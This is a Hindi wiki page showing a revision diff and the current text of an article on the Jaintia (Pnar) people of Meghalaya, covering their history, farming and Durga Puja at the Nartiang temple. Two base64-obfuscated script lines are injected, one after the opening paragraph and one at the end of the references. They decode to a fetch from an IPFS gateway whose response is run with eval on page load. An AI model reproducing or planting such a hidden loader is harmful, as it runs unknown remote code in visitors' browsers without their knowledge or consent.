"जैंतिया जाति" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "खास" to "ख़ास") |
|||
पंक्ति 1: | पंक्ति 1: | ||
− | + | '''जैंतिया जाति''' के लोग [[मेघालय]] राज्य की [[जैंतिया पहाड़ियाँ|जैंतिया पहाड़ियों]] के प्राथमिक रूप से निवासी हैं। ये लोग पश्चिम में रहने वाले [[खासी जाति|खासी]] लोगों की तरह ही [[भारत]] के पहले [[मंगोल]] प्रवासियों के वंशज माने जाते हैं। जैंतिया लोगों को 'पनार' नाम से भी जाना जाता है। | |
− | + | {{tocright}} | |
− | + | ==इतिहास== | |
+ | 19वीं [[शताब्दी]] तक इन लोगों में प्रशासन की त्रि-स्तरीय प्रणाली थी। ब्रिटिश शासन काल के दौरान यह प्रणाली ख़त्म हो गई और आज़ादी के बाद इसके स्थान पर जनजातीय मामलों की ज़िला परिषद का गठन किया गया और अन्य मामलों की देखरेख के लिए एक भारतीय अधिकारी की नियुक्ति की गई। | ||
− | {{ | + | कुछ हद तक अलगाव के कारण जैंतिया लोग अपनी मातृ सत्तात्मक संस्कृति को बचाए रखने में काफ़ी हद तक सफल रहे हैं। ये लोग अब भी झूम पद्धति से खेती करते हैं और [[आलू]] यहाँ की मुख्य फ़सल है। हालांकि '[[भारत सरकार]]' ने स्थायी [[कृषि]] को बढ़ाया देने का प्रयास किया है, जिसमें कुछ हद तक सफलता भी मिली है।<ref name="aa">{{cite web |url= http://www.khaskhabar.com/hindi-news/indigenous-tribe-celebrates-durga-puja-in-northeast-102010162135976604.html|title= मेघालय की पनार जनजाति भी करती है दुर्गा पूजा|accessmonthday=09 फरवरी|accessyear= 2015|last= |first= |authorlink= |format= |publisher= खास खबर|language= हिन्दी}}</ref> |
− | {{लेख प्रगति | + | ==देवी की उपासना== |
− | |आधार= | + | दुर्गा पूजा [[हिन्दू|हिंदुओं]] के सबसे ब़डे धार्मिक त्योहारों में से एक है, लेकिन [[मेघालय]] की पनार जनजाति भी शक्ति की देवी की उपासना करने में पीछे नहीं है। वह भी इस त्योहार को [[भक्ति]] और उत्साह पूर्वक मनाती है। सैक़डों की संख्या में पनार समुदाय के लोग, जिन्हें जैंतिया भी कहा जाता है और पर्यटक नरतियांग के प्राचीन मंदिर में पांच दिनों तक चलने वाले इस दुर्गा पूजा के लिए एकत्र होते हैं। यह मंदिर [[शिलांग]] से 65 किलोमीटर पूर्व में स्थित है। मंदिर में [[पूजा]] करने की परंपरा 500 वर्षों से भी अधिक समय से चली आ रही है। मंदिर की प्राचीनता को लेकर स्थानीय [[इतिहासकार|इतिहासकारों]] और पनार जनजाति के लोगों में मतभेद है। |
− | |प्रारम्भिक=प्रारम्भिक1 | + | |
− | |माध्यमिक= | + | [[जयंतिया हिल्स ज़िला|जैंतिया हिल्स ज़िले]] में दुर्गा बाड़ी की पहाड़ी के शिखर पर स्थित इस मंदिर का निर्माण जैंतिया जनजाति के राजाओं द्वारा करीब 16वीं से 17वीं [[शताब्दी]] के बीच किया गया था। गांव के मध्य में स्थित मंदिर को ईंट से बनाया गया है। प्रसिद्ध भारतीय इतिहासकार जे. बी. भट्टाचार्य के अनुसार- "नरतियांग जैंतिया राज्य की ग्रीष्मकालीन राजधानी थी। इसकी स्थापना [[बांग्लादेश]] के सिलहट ज़िले के जैंतियापुर में की गई थी।"<ref name="aa"/> |
− | |पूर्णता= | + | |
− | |शोध= | + | मंदिर के पुजारी के अनुसार- "जैंतिया राजाओं की 22 पीढ़ियों ने पैतृक देवियों दुर्गा और जयंतेश्वरी की पूजा की है।" मंदिर में [[दुर्गा]] और जयंतेश्वरी देवी की मूर्तियों को एक साथ रखकर पूजा की जाती है। अष्टधातु से निर्मित दोनों मूर्तियों की लंबाई छह से आठ इंच है। पूजा शुरू करने से पहले देवियों की मूर्तियों का जलाभिषेक किया जाता है, इसके बाद उन्हें [[रंग]]-बिरंगे वस्त्र पहनाए जाते हैं। मंदिर के पुजारी अनुसार, जैंतिया राजाओं के शासन में यहां नरबलि देने की भी प्रथा थी। माना जाता है कि अंग्रेज़ों ने इस प्रथा पर रोक लगा दी थी। अब यहां ककड़ी के साथ बकरियों, मुर्गों और कबूतरों की बलि दी जाती है। |
− | + | ||
− | + | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}} | |
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{जातियाँ और जन जातियाँ}} | {{जातियाँ और जन जातियाँ}} | ||
− | [[Category:मेघालय]] | + | [[Category:मेघालय]][[Category:जातियाँ और जन जातियाँ]][[Category:मेघालय की संस्कृति]] |
− | [[Category:जातियाँ और जन जातियाँ]] | ||
__INDEX__ | __INDEX__ |
13:58, 9 फ़रवरी 2015 के समय का अवतरण
जैंतिया जाति के लोग मेघालय राज्य की जैंतिया पहाड़ियों के प्राथमिक रूप से निवासी हैं। ये लोग पश्चिम में रहने वाले खासी लोगों की तरह ही भारत के पहले मंगोल प्रवासियों के वंशज माने जाते हैं। जैंतिया लोगों को 'पनार' नाम से भी जाना जाता है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
इतिहास
19वीं शताब्दी तक इन लोगों में प्रशासन की त्रि-स्तरीय प्रणाली थी। ब्रिटिश शासन काल के दौरान यह प्रणाली ख़त्म हो गई और आज़ादी के बाद इसके स्थान पर जनजातीय मामलों की ज़िला परिषद का गठन किया गया और अन्य मामलों की देखरेख के लिए एक भारतीय अधिकारी की नियुक्ति की गई।
कुछ हद तक अलगाव के कारण जैंतिया लोग अपनी मातृ सत्तात्मक संस्कृति को बचाए रखने में काफ़ी हद तक सफल रहे हैं। ये लोग अब भी झूम पद्धति से खेती करते हैं और आलू यहाँ की मुख्य फ़सल है। हालांकि 'भारत सरकार' ने स्थायी कृषि को बढ़ाया देने का प्रयास किया है, जिसमें कुछ हद तक सफलता भी मिली है।[1]
देवी की उपासना
दुर्गा पूजा हिंदुओं के सबसे ब़डे धार्मिक त्योहारों में से एक है, लेकिन मेघालय की पनार जनजाति भी शक्ति की देवी की उपासना करने में पीछे नहीं है। वह भी इस त्योहार को भक्ति और उत्साह पूर्वक मनाती है। सैक़डों की संख्या में पनार समुदाय के लोग, जिन्हें जैंतिया भी कहा जाता है और पर्यटक नरतियांग के प्राचीन मंदिर में पांच दिनों तक चलने वाले इस दुर्गा पूजा के लिए एकत्र होते हैं। यह मंदिर शिलांग से 65 किलोमीटर पूर्व में स्थित है। मंदिर में पूजा करने की परंपरा 500 वर्षों से भी अधिक समय से चली आ रही है। मंदिर की प्राचीनता को लेकर स्थानीय इतिहासकारों और पनार जनजाति के लोगों में मतभेद है।
जैंतिया हिल्स ज़िले में दुर्गा बाड़ी की पहाड़ी के शिखर पर स्थित इस मंदिर का निर्माण जैंतिया जनजाति के राजाओं द्वारा करीब 16वीं से 17वीं शताब्दी के बीच किया गया था। गांव के मध्य में स्थित मंदिर को ईंट से बनाया गया है। प्रसिद्ध भारतीय इतिहासकार जे. बी. भट्टाचार्य के अनुसार- "नरतियांग जैंतिया राज्य की ग्रीष्मकालीन राजधानी थी। इसकी स्थापना बांग्लादेश के सिलहट ज़िले के जैंतियापुर में की गई थी।"[1]
मंदिर के पुजारी के अनुसार- "जैंतिया राजाओं की 22 पीढ़ियों ने पैतृक देवियों दुर्गा और जयंतेश्वरी की पूजा की है।" मंदिर में दुर्गा और जयंतेश्वरी देवी की मूर्तियों को एक साथ रखकर पूजा की जाती है। अष्टधातु से निर्मित दोनों मूर्तियों की लंबाई छह से आठ इंच है। पूजा शुरू करने से पहले देवियों की मूर्तियों का जलाभिषेक किया जाता है, इसके बाद उन्हें रंग-बिरंगे वस्त्र पहनाए जाते हैं। मंदिर के पुजारी अनुसार, जैंतिया राजाओं के शासन में यहां नरबलि देने की भी प्रथा थी। माना जाता है कि अंग्रेज़ों ने इस प्रथा पर रोक लगा दी थी। अब यहां ककड़ी के साथ बकरियों, मुर्गों और कबूतरों की बलि दी जाती है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 मेघालय की पनार जनजाति भी करती है दुर्गा पूजा (हिन्दी) खास खबर। अभिगमन तिथि: 09 फरवरी, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>